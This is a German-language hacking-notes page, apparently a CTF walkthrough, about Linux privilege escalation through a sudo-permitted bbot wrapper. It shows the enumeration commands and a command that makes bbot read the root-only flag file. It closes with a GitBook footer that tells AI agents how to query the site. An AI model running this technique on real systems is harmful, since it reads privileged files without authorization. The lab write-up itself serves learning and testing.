> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md).

# Sudo bbot-Binärdatei - Linux-Privilegieneskalation

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **Sudo (bbot-Binärdatei)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

### Sudo - bbot (Binärdatei)

Überprüfung der sudo-Rechte:

```bash
sudo -l 
```

Der Benutzer kann ausführen `/usr/local/bin/bbot` als root.

<figure><img src="/files/cb080c6e80b1021e1e25806c4d019110f5c69627" alt=""><figcaption></figcaption></figure>

Inhalt von `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/b808bbcb4f1828a420003a125a90ecd2ae4387e4" alt=""><figcaption></figcaption></figure>

### Ausnutzung:

Dieses Skript übergibt lediglich Argumente an die Hauptfunktion von `bbot`. Da wir die bereitgestellten Argumente kontrollieren können, können wir eine Funktion von `bbot` nutzen, um jede Datei zu lesen — einschließlich solcher, die nur für den Benutzer zugänglich sind **root**.

Nach Konsultation der Hilfe oder Dokumentation zur Verwendung von `bbot`haben wir Optionen zum Angeben einer Zieldatei und eines Ausgabeverzeichnisses identifiziert:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Erklärung :**

* `-t /root/root.txt`: legt die zu verarbeitende Zieldatei fest.
* `-o /tmp/root`: gibt das Ausgabeverzeichnis an (wo die Ergebnisse gespeichert werden).
* `-d`: aktiviert den Debugging-Modus, falls zusätzliche Informationen benötigt werden.

Da das Skript mit den **root** Rechten ausgeführt wird und keine Validierung der Eingaben erfolgt, ermöglicht uns dies, beliebige Dateien zu lesen, einschließlich der endgültigen Datei mit der **Root-Flag**.

<figure><img src="/files/cdf3f63e37faeea205ad4fc9a0a4cdb3f2ebc278" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
